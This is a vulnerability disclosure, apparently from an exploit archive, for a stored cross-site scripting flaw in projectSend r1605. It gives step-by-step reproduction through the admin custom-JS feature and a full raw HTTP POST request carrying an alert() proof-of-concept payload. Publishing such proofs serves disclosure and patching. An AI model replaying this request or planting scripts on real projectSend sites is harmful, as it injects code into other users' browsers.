projectSend r1605 - Stored XSS

Exploit Title: projectSend r1605 - Stored XSS
Application: projectSend
Version: r1605
Bugs:  Stored Xss
Technology: PHP
Vendor URL: https://www.projectsend.org/
Software Link: https://www.projectsend.org/
Date of found: 11-06-2023
Author: Mirabbas Ağalarov
Tested on: Linux 

2. Technical Details & POC
========================================

1. Login as admin
2. Go to Custom Html/Css/Js (http://localhost/custom-assets.php)
3. Go to new JS (http://localhost/custom-assets-add.php?language=js)
4. Set content as  alert("xss"); and set public 
5. And Save
6. Go to http://localhost (logout)

payload: alert("xss")

POST /custom-assets-add.php HTTP/1.1
Host: localhost
Content-Length: 171
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/custom-assets-add.php?language=js
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: log_download_started=false; PHPSESSID=7j8g8u9t7khb259ci4fvareg2l
Connection: close

csrf_token=222b49c5c4a1755c451637f17ef3e7ea8bb5b6ee616293bd73d15d0e608d9dab&language=js&title=test&content=alert%28%22XSS%22%29%3B&enabled=on&location=public&position=head